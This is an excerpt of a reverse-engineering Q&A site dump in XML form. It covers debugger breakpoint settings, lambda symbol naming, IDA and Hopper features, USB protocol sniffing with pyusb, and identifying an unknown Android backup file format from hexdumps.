&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both &lt;em&gt;OllyDbg &lt;strong&gt;v2&lt;/em&gt;&lt;/strong&gt; and &lt;em&gt;x64dbg&lt;/em&gt; doesn't have this problem and they would break on program's entrypoint as expected, unless you configure it elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's the program as it loaded on Ollydbg version 2:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UFnEd.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UFnEd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's how it looks like when it configure to break on System Breakpoint:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OnsIP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OnsIP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can configure it by using &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;O&lt;/kbd&gt; &lt;em&gt;&gt;&gt; Debugging &gt;&gt; Start&lt;/em&gt; and check &quot;System Breakpoint&quot; under &quot;&lt;em&gt;When starting application, make first pause at&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the program broke on a different address which is considered as the &lt;em&gt;System Breakpoint&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;x64dbg&lt;/em&gt; also breaks in this address:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/20X7D.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/20X7D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can configure &lt;em&gt;x64dbg&lt;/em&gt; inital breakpoints in &lt;em&gt;Options &gt;&gt; Preferences &gt;&gt; Events&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, in your case, pressing &lt;kbd&gt;F9&lt;/kbd&gt; or &lt;code&gt;Run&lt;/code&gt; in &lt;em&gt;OllyDbg v1&lt;/em&gt; will take you to the program's entrypoint.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I highly recommend to use x64dbg which is an active open-source project, unlike Ollydbg which is absolutely outdated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://x64dbg.com&quot; rel=&quot;noreferrer&quot;&gt;x64dbg main website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/x64dbg/x64dbg&quot; rel=&quot;noreferrer&quot;&gt;The project's Github repository&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://x64dbg.readthedocs.io/en/latest/&quot; rel=&quot;noreferrer&quot;&gt;x64dbg's documentation&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-09-26T18:46:42.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16420" PostTypeId="2" ParentId="16416" CreationDate="2017-09-26T19:15:37.260" Score="3" Body="&lt;p&gt;About your first question: &lt;code&gt;what does ...lambda... mean&lt;/code&gt;: Yes, obviously, it refers to a lambda function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part of your first question: &lt;code&gt;What is #2&lt;/code&gt;: Some experimentation with lambda's shows that this is like a sequence number of lambda's within a function.&#xA;Note that gcc and clang have different ways of encoding this.&#xA;&lt;code&gt;gcc&lt;/code&gt; uses the &lt;code&gt;lambda()#2&lt;/code&gt; notation, while &lt;code&gt;clang&lt;/code&gt; uses something like &lt;code&gt;$_1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your second question: &lt;code&gt;what is other_name&lt;/code&gt;: I think that would be the function where the lambda is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;some_name&lt;/code&gt; being the function which is passed the lambda as a template parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lambda's themselves are passed as a struct containing either copies of values or pointers, or from a c++ point of view: references, to the closure defined by the lambda.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Experimenting with how your compiler treats lambda's is quite easy.&#xA;Write some test code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;template&amp;lt;typename FN&amp;gt;&#xA;int test(FN f)&#xA;{&#xA;    return f();&#xA;}&#xA;&#xA;int main(int, char**)&#xA;{&#xA;    int a, b;&#xA;    auto f1 = [](int a, int b) { return a+b; };&#xA;    int c = test([&amp;amp;a, b, &amp;amp;f1]() { return f1(a,b); });&#xA;    auto f2 = [](int a, int b) { return a-b; };&#xA;    int d = test([&amp;amp;a, b, &amp;amp;f2]() { return f2(a,b); });&#xA;&#xA;    printf(&quot;c=%d, d=%d\n&quot;, c, d);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then compile with least optimization, and debug symbols:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g++ -O0 -g yourfile.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And view the resulting binary in &lt;code&gt;ida&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2017-09-26T19:23:35.683" LastActivityDate="2017-09-26T19:23:35.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16421" PostTypeId="2" ParentId="15706" CreationDate="2017-09-26T22:13:25.473" Score="1" Body="&lt;p&gt;There are several functions in the SDK, in &lt;code&gt;typeinf.hpp&lt;/code&gt; or &lt;code&gt;ida_typeinf.py&lt;/code&gt; that could be of use here, with the python API being much easier to use.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;parse_decls&lt;/code&gt; - for converting a header file to a til_t type library.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this function seems to skip plain function declarations.&lt;/li&gt;&#xA;&lt;li&gt;but does store typedefs by name.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;parse_decl&lt;/code&gt; - for converting a single declaration to a &lt;code&gt;tinfo_t&lt;/code&gt; object.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this does work for function declarations, but loses the function name.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_named_type&lt;/code&gt; - for looking up a type in the til_t.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;apply_type&lt;/code&gt; - for applying a type to a function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So you could either parse the name from the function declaration yourself, and then use &lt;code&gt;parse_decl&lt;/code&gt; to parse each declaration seperately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could add &lt;code&gt;typedef&lt;/code&gt; to the start of each declaration, so ida will store all your declarations, &lt;strong&gt;by name&lt;/strong&gt; in a type libary.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2017-09-26T22:13:25.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16422" PostTypeId="1" CreationDate="2017-09-27T08:26:51.317" Score="3" ViewCount="316" Body="&lt;p&gt;I got a trace of the execution from &lt;code&gt;x64dbg&lt;/code&gt; and I need to analyze it. The problem is that the trace is quite large and there are quite big chunks of the code that repeat (I assume they are loops).&lt;br&gt;&#xA;I would like to have some kind of tool that would be able to produce a graph or perform simple analyze/decompile to group loops into separate blocks and to simplify the flow.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tool like this or all of this should be done manually?&lt;/p&gt;&#xA;" OwnerUserId="21751" LastActivityDate="2017-09-27T08:26:51.317" Title="What tool is able to analyze/decompile asm execution trace?" Tags="|decompile|x64dbg|assembly|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16423" PostTypeId="2" ParentId="16412" CreationDate="2017-09-27T09:31:40.900" Score="4" Body="&lt;p&gt;If I correctly understand your question, you are searching for the Cross References feature in Hopper.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Cross References&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Cross References (or simply XREFs) is a feature of disassemblers to show you where certain functions and objects were called from or which functions and objects are used by a specific function. We can simplify it by relate to it as XREF-To and XREF-From. The referenced can be either Data or Code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XREFs are a valuable resource when we want to figure out exactly where a function was called from or what functions the current function calls. This, as you understand, can be quite useful, so we don’t have to iterate the stack for frame pointers to look for the function that called the current function or alternatively searching by hand for a &lt;em&gt;CALL&lt;/em&gt;s to specific addresses.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hopper&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In hopper disassembler you can can see XREFs-To addresses by pressing &lt;kbd&gt;X&lt;/kbd&gt; while you mark the desired address. XREFs-From can be shown using &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;X&lt;/kbd&gt;. Alternatively you can find the Cross References lists under &lt;code&gt;Navigate&lt;/code&gt; in the Hopper's top toolbar.&#xA;You can also find the references to and from an adress by pressing Right Click on it and then choosing either &quot;References to...&quot; or &quot;References from...&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ys1Sj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ys1Sj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neverthless, when a program is analyzed, Hopper is adding a list of &lt;em&gt;XREFs-From&lt;/em&gt; in the comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  j_puts:&#xA;08048390   jmp   dword [puts@GOT]   ; puts@GOT,puts, CODE XREF=sub_8048662+15, sub_8048662+31, sub_8048662+86, sub_8048662+104&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-09-27T09:31:40.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16425" PostTypeId="2" ParentId="16389" CreationDate="2017-09-27T20:50:29.373" Score="1" Body="&lt;p&gt;Well for starters you are going to want an in Kernel USB monitor like Linux has, a pass through USB analyzer (more expensive, but more flexible) or something like a logic analyzer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a video that goes into great detail of doing the latter far more than anyone will here &lt;a href=&quot;https://www.youtube.com/watch?v=4FOkJLp_PUw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=4FOkJLp_PUw&lt;/a&gt; Note from the video &lt;a href=&quot;https://opentechlab.org.uk/videos:011:notes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://opentechlab.org.uk/videos:011:notes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize you'll need a logic analyzer, potentially a way of getting the device to tell you it is about to send a packet in some manner (otherwise you will have better luck with a USB analyzer or in kernel USB monitor). Sigrok is software used there... but there are others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a little python code the guy in the video uses which will probably be of use to you. Which is just a basic example of using pyusb he was using it to talk to whatever micro controller board he was debugging you could use it to talk to your FPGA perhaps as you figure out what it's protocol is doing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3&#xA;&#xA;import usb.core&#xA;import time&#xA;&#xA;dev = usb.core.find(idVendor=0x0925, idProduct=0xD100)&#xA;if dev is None:&#xA;  raise ValueError('Device not found')&#xA;&#xA;res = dev.ctrl_transfer(&#xA;  bmRequestType=0x40,                       # OUT, VENDOR, DEVICE request&#xA;  bRequest=1,                               # Request #1&#xA;  wValue=0xCAFE,&#xA;  wIndex=0xD00D,&#xA;  data_or_wLength=[0x01, 0x23, 0x45, 0x67])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The method you choose largely depends on what you need to know, if the device is functioning properly and you don't need to make changes to it, perhaps a software monitor is good enough. If it is indeed USB serial is it a dedicated chip? If so find it's datasheet... and investigate the circuit that may tell you some things. Common USB to serial chips are the the following which either use a standard USB CDC ACM protocol (check if chip in question is this then you can just grap the spec for it here ) or custom driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the USB end of the protocol itself is probably baud rate independent but you may need to tell the USB serial convert what rate to run at... it depends alot on how it was designed. Probing the Uart output pints of the controller would allow you to figure out the correct baud rate if you can't figure it out from the circuit itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to go about this would be to figure out at least one command that will give you a response... then exhaustively try different baud rates and configurations until you get the expected response.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Silicon Labs CP2102 and variants. &#xA;&lt;a href=&quot;https://www.silabs.com/documents/public/data-sheets/CP2102-9.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.silabs.com/documents/public/data-sheets/CP2102-9.pdf&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;MicroChip MCP2200 &#xA;&lt;a href=&quot;http://www.microchip.com/wwwproducts/en/en546923&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.microchip.com/wwwproducts/en/en546923&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;FT232R &lt;a href=&quot;http://www.ftdichip.com/Products/ICs/FT232R.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ftdichip.com/Products/ICs/FT232R.htm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="117" LastActivityDate="2017-09-27T20:50:29.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16426" PostTypeId="1" AcceptedAnswerId="16433" CreationDate="2017-09-28T02:48:18.940" Score="2" ViewCount="347" Body="&lt;p&gt;I'm reversing a Windows binary using &lt;em&gt;x32Dbg&lt;/em&gt; and I have the following instruction: &lt;code&gt;call ntdll.776C695A&lt;/code&gt;.&lt;br&gt;&#xA;What steps should I take in order to find out which function this is and/or what it does? The debugger seems to provide some symbols but not all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18698" LastEditDate="2017-09-28T16:33:25.850" LastActivityDate="2017-09-28T16:46:48.633" Title="In a native debugger, what must be done in order to resolve ntdll/other API symbols manually?" Tags="|debugging|x64dbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16427" PostTypeId="1" CreationDate="2017-09-28T06:34:44.987" Score="2" ViewCount="1204" Body="&lt;p&gt;I have a backup file, generated by an android phone. However, I don't know the file type or how to extract the contents without the original software. I've tried to search for common file headers using hexdump, but as I'm new to this topic, I have no idea on how to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the following things:&#xA; - The file has to be some sort of container or compressed archive&#xA; - The file is split up into multiple parts (userdata_xxxx.backup, userdata_xxxx.backup1, ...)&#xA; - The file starts with the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;00000000  53 3a 79 0e 63 9a 67 f3  a2 22 ff 40 64 51 5d 5a  |S:y.c.g..&quot;.@dQ]Z|&#xA;00000010  61 18 d0 b8 7b 5b 6c 13  c7 72 17 60 00 ee ed e1  |a...{[l..r.`....|&#xA;00000020  51 d0 97 59 a6 40 aa d9  b6 c3 09 cf aa 8a 79 ff  |Q..Y.@........y.|&#xA;00000030  5f 7c dc d0 09 7e 11 56  e3 58 38 c7 03 a0 67 ea  |_|...~.V.X8...g.|&#xA;00000040  f5 b3 04 fa 65 fc 85 ae  c0 db eb 38 00 58 53 af  |....e......8.XS.|&#xA;00000050  8a 8d 1d c9 65 eb 1e 1a  2c 19 c7 62 62 71 8b c9  |....e...,..bbq..|&#xA;00000060  ac cc 0e c5 6f bd 92 5d  69 9e 88 28 ef af d9 54  |....o..]i..(...T|&#xA;00000070  21 33 59 60 5f 77 e7 0e  8b 70 03 f1 b3 e3 5b ce  |!3Y`_w...p....[.|&#xA;00000080  57 ff b5 13 cb 3c f1 84  4a 5f 25 e7 80 c0 b9 a5  |W....;.-.._....p&amp;.|&#xA;00000100  1e 7e 7d 41 37 df a0 55  0e 7a f3 64 74 e2 6b ca  |.~}A7..U.z.dt.k.|&#xA;00000110  4f 4f 9f 32 11 cb d3 3d  6c 29 72 55 72 08 66 a5  |OO.2...=l)rUr.f.|&#xA;00000120  2c 67 33 74 6a 82 88 01  90 ce 63 54 83 f3 63 5e  |,g3tj.....cT..c^|&#xA;00000130  8e 4e 53 4e 8e bd ec 57  4f ed 69 4f f0 92 9e ef  |.NSN...WO.iO....|&#xA;00000140  9d 60 24 57 a0 32 ed 0a  2e f5 00 cb 4e e3 7a 69  |.`$W.2......N.zi|&#xA;00000150  7a cc b7 54 51 24 00 6b  94 df 86 78 cd a0 50 db  |z..TQ$.k...x..P.|&#xA;00000160  bf 9d fa 9e 91 91 64 f8  9c 89 ed 28 0b 65 fd d1  |......d....(.e..|&#xA;00000170  ef f3 dc f8 24 61 c6 08  70 d9 31 04 6f 56 cc 81  |....$a..p.1.oV..|&#xA;00000180  2b 8b da 4a c2 86 98 70  c0 12 3d d5 8a 64 f6 45  |+..J...p..=..d.E|&#xA;00000190  17 14 2c 20 9f 4c 96 4e  56 8c 19 5e fa c4 af 19  |.., .L.NV..^....|&#xA;000001a0  22 20 48 4c e4 9d 7f d3  e2 63 ec 12 2b a1 7a 76  |&quot; HL.....c..+.zv|&#xA;000001b0  cb 97 28 c1 49 62 d8 84  34 33 90 2e 34 35 e5 0c  |..(.Ib..43..45..|&#xA;000001c0  84 6b 56 95 46 6d c2 77  12 d4 c5 58 19 e9 ce 26  |.kV.Fm.w...X...&amp;|&#xA;000001d0  6b e5 88 1c b7 d0 40 f8  dd 50 ab c6 00 b5 c5 12  |k.....@..P......|&#xA;000001e0  fe d2 8d 62 d6 06 4e e2  50 21 94 1c c2 44 b6 fa  |...b..N.P!...D..|&#xA;000001f0  b9 51 91 5b 00 fa 2d 78  10 40 f4 66 c5 a2 85 3d  |.Q.[..-x.@.f...=|&#xA;00000200  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000600  90 d2 1a 00 80 3f 6b 00  00 10 00 00 12 68 09 00  |.....?k......h..|&#xA;00000610  f9 72 19 00 00 00 00 00  02 00 00 00 02 00 00 00  |.r..............|&#xA;00000620  00 80 00 00 00 80 00 00  f0 1f 00 00 54 52 7b 59  |............TR{Y|&#xA;00000630  55 52 7b 59 4a 00 ff ff  53 ef 01 00 02 00 00 00  |UR{YJ...S.......|&#xA;00000640  71 a8 41 59 00 00 00 00  00 00 00 00 01 00 00 00  |q.AY............|&#xA;00000650  1a 27 00 00 0b 00 00 00  00 01 00 00 1c 00 00 00  |.'..............|&#xA;00000660  46 00 00 00 13 00 00 00  57 f8 f4 bc ab f4 65 5f  |F.......W.....e_|&#xA;00000670  bf 67 94 6f c0 f9 f2 5b  00 00 00 00 00 00 00 00  |.g.o...[........|&#xA;00000680  00 00 00 00 00 00 00 00  2f 64 61 74 61 00 00 00  |......../data...| //data is a directory that the file must contain&#xA;00000690  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000006c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 04  |................|&#xA;000006d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;000006e0  08 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;000006f0  00 00 00 00 00 00 00 00  00 00 00 00 02 01 20 00  |.............. .|&#xA;00000700  00 00 00 00 00 00 00 00  00 00 00 00 0a f3 02 00  |................|&#xA;00000710  03 00 00 00 00 00 00 00  00 00 00 00 fe 7d 00 00  |.............}..|&#xA;00000720  01 02 01 00 fe 7d 00 00  02 02 00 00 01 02 6b 00  |.....}........k.|&#xA;00000730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000750  00 00 00 00 00 00 00 00  00 00 00 00 1c 00 1c 00  |................|&#xA;...&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there have to be images in the file, jpeg images look like this:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&#xA;...&#xA;0060a7e0  25 39 37 2b 46 ca e9 ce  56 4e 6e 31 b2 b5 94 db  |%97+F...VNn1....|&#xA;0060a7f0  77 4d b8 ca a3 ff d9 00  00 00 00 00 00 00 00 00  |wM..............| //JPEG footer, first image ends here&#xA;0060a800  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;0060b000  c8 d7 79 0a 69 c7 60 00  23 10 00 00 07 80 00 06  |..y.i.`.#.......|&#xA;0060b010  05 07 03 40 1f 40 1f 00  04 80 00 ff ff ff 00 00  |...@.@..........|&#xA;0060b020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;0060c000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |......JFIF......| //JPEG header, next image starts&#xA;0060c010  00 01 00 00 ff db 00 43  00 01 01 01 01 01 01 01  |.......C........|&#xA;0060c020  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|&#xA;*&#xA;0060c050  01 01 01 01 01 01 01 01  01 ff db 00 43 01 01 01  |............C...|&#xA;0060c060  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|&#xA;*&#xA;0060c090  01 01 01 01 01 01 01 01  01 01 01 01 01 01 ff c0  |................|&#xA;0060c0a0  00 11 08 00 60 00 60 03  01 22 00 02 11 01 03 11  |....`.`..&quot;......|&#xA;0060c0b0  01 ff c4 00 1f 00 00 01  05 01 01 01 01 01 01 00  |................|&#xA;0060c0c0  00 00 00 00 00 00 00 01  02 03 04 05 06 07 08 09  |................|&#xA;0060c0d0  0a 0b ff c4 00 b5 10 00  02 01 03 03 02 04 03 05  |................|&#xA;0060c0e0  05 04 04 00 00 01 7d 01  02 03 00 04 11 05 12 21  |......}........!|&#xA;0060c0f0  31 41 06 13 51 61 07 22  71 14 32 81 91 a1 08 23  |1A..Qa.&quot;q.2....#|&#xA;0060c100  42 b1 c1 15 52 d1 f0 24  33 62 72 82 09 0a 16 17  |B...R..$3br.....|&#xA;0060c110  18 19 1a 25 26 27 28 29  2a 34 35 36 37 38 39 3a  |...%&amp;'()*456789:|&#xA;0060c120  43 44 45 46 47 48 49 4a  53 54 55 56 57 58 59 5a  |CDEFGHIJSTUVWXYZ|&#xA;0060c130  63 64 65 66 67 68 69 6a  73 74 75 76 77 78 79 7a  |cdefghijstuvwxyz|&#xA;...&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;text files seem to be stored uncompressed, the content can be read&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&#xA;...&#xA;00677230  69 63 2c 20 49 6e 63 2e  2c 20 53 6f 6e 79 2f 41  |ic, Inc., Sony/A|&#xA;00677240  54 56 20 4d 75 73 69 63  20 50 75 62 6c 69 73 68  |TV Music Publish|&#xA;00677250  69 6e 67 20 4c 4c 43 22  7d 2c 22 68 69 64 65 68  |ing LLC&quot;},&quot;hideh|&#xA;00677260  65 61 64 65 72 22 3a 66  61 6c 73 65 7d 2c 22 62  |eader&quot;:false},&quot;b|&#xA;00677270  65 61 63 6f 6e 64 61 74  61 22 3a 7b 22 70 72 6f  |eacondata&quot;:{&quot;pro|&#xA;00677280  76 69 64 65 72 6e 61 6d  65 22 3a 22 4c 79 72 69  |vidername&quot;:&quot;Lyri|&#xA;00677290  63 73 22 7d 7d 2c 7b 22  69 64 22 3a 22 66 61 63  |cs&quot;}},{&quot;id&quot;:&quot;fac|&#xA;006772a0  65 62 6f 6f 6b 22 2c 22  74 79 70 65 22 3a 22 73  |ebook&quot;,&quot;type&quot;:&quot;s|&#xA;006772b0  70 6f 6e 73 6f 72 65 64  22 2c 22 70 72 6f 76 69  |ponsored&quot;,&quot;provi|&#xA;006772c0  64 65 72 6e 61 6d 65 22  3a 22 66 61 63 65 62 6f  |dername&quot;:&quot;facebo|&#xA;006772d0  6f 6b 22 2c 22 73 69 74  65 6b 65 79 22 3a 22 74  |ok&quot;,&quot;sitekey&quot;:&quot;t|&#xA;...&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;all the files start in a similar way, at least the first few chars are the same&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&#xA;//file 2&#xA;00000000  53 3a 79 0e 63 9a 67 f3  a2 22 ff 40 3a 53 5f 0b  |S:y.c.g..&quot;.@:S_.|&#xA;00000010  a0 3c e4 5b b9 38 e2 70  97 7d 7b 6b 99 2f 93 eb  |.'.0T.......|&#xA;00000090  bc 0f 24 1d 3d d7 42 91  56 17 c6 c5 09 ad 6a 2f  |..$.=.B.V.....j/|&#xA;000000a0  3f cd 0d ae ab cc 89 2f  7d 92 de 91 7b dc 8c 60  |?....../}...{..`|&#xA;000000b0  48 f5 74 17 3a c5 57 8d  dc c8 d0 83 71 5a c5 8b  |H.t.:.W.....qZ..|&#xA;000000c0  b8 ea ae b5 49 16 77 2a  d0 6b 97 ca 8f 3f 28 77  |....I.w*.k...?(w|&#xA;000000d0  e3 5a ef 8c 71 df 0e 9e  6b 77 d6 1c 79 6d e9 22  |.Z..q...kw..ym.&quot;|&#xA;000000e0  16 62 f5 2e 05 21 16 e3  1b 39 a1 1f f5 55 59 72  |.b...!...9...UYr|&#xA;000000f0  a4 e5 87 50 d5 b2 f4 0c  9b 4b 19 7a c4 b9 b6 70  |...P.....K.z...p|&#xA;00000100  f7 44 54 f2 27 03 25 e1  95 80 b2 e3 ff dd 3e 13  |.DT.'.%.......&gt;.|&#xA;00000110  54 de 14 fa bb f3 07 b7  db 99 0c 7b 0e 56 7e 72  |T..........{.V~r|&#xA;00000120  02 ef de fd b2 48 b3 72  39 e5 39 08 01 74 85 37  |.....H.r9.9..t.7|&#xA;00000130  9c 6e 56 62 0d 15 8c 22  c3 ad 61 a5 ba 87 f7 0d  |.nVb...&quot;..a.....|&#xA;00000140  5c 8e 54 84 0f b9 9e 9c  36 ea 41 db e8 c3 cb e7  |\.T.....6.A.....|&#xA;00000150  72 1d 94 75 e9 d8 13 48  fa eb fd 61 cb 2f d3 64  |r..u...H...a./.d|&#xA;00000160  55 d0 23 d7 c0 64 5d 1c  a2 55 e7 31 be 2b f3 76  |U.#..d]..U.1.+.v|&#xA;00000170  9a e2 c1 db b4 22 ce 40  52 12 00 21 8b c4 9e cb  |.....&quot;.@R..!....|&#xA;00000180  e2 26 82 fd b2 a0 b6 3b  19 1f 37 d0 25 8a 62 1a  |.&amp;.....;..7.%.b.|&#xA;00000190  b2 ab 95 12 e7 f9 4b 49  a6 45 07 b0 09 c0 7b 9b  |......KI.E....{.|&#xA;000001a0  25 1e 56 de 2b 94 2e eb  e3 04 47 09 c7 18 06 10  |%.V.+.....G.....|&#xA;000001b0  50 30 4c e2 40 a8 0d ae  1a 6e a6 33 e8 d3 f6 e4  |P0L.@....n.3....|&#xA;000001c0  63 e5 8d bd 0a 2f de ce  93 1c 0a a5 85 a9 6d 2c  |c..../........m,|&#xA;000001d0  16 d9 38 f0 86 cf 08 b9  56 a6 4a 6c b6 dd d4 24  |..8.....V.Jl...$|&#xA;000001e0  03 c6 dc 61 3c 7f df 6c  b9 6d ce 59 35 16 5d 8d  |...afB|&#xA;00000320  25 7b 61 71 92 26 b8 88  de 47 12 5a b6 25 aa 52  |%{aq.&amp;...G.Z.%.R|&#xA;00000330  94 77 bf 96 7f 37 f7 ef  e5 31 7b 7c 7e ea f8 dc  |.w...7...1{|~...|&#xA;00000340  df 6d 8b d1 c6 11 b0 30  a2 00 ae ea 4a 0a 0f 38  |.m.....0....J..8|&#xA;00000350  e6 eb f9 e9 a5 00 8e 43  65 1a fc b5 a0 2f 53 89  |.......Ce..../S.|&#xA;00000360  2a e0 51 10 75 5a 0b 39  14 11 d9 00 b8 30 92 96  |*.Q.uZ.9.....0..|&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[UPDATE]&#xA;- sometimes, filenames can be read before the file data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;...&#xA;0060ea30  d7 34 52 94 39 a5 cc a4  9f ff d9 00 00 00 00 00  |.4R.9...........| //JPEG footer&#xA;0060ea40  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;0060f200  2f 65 74 63 2f 2e 74 70  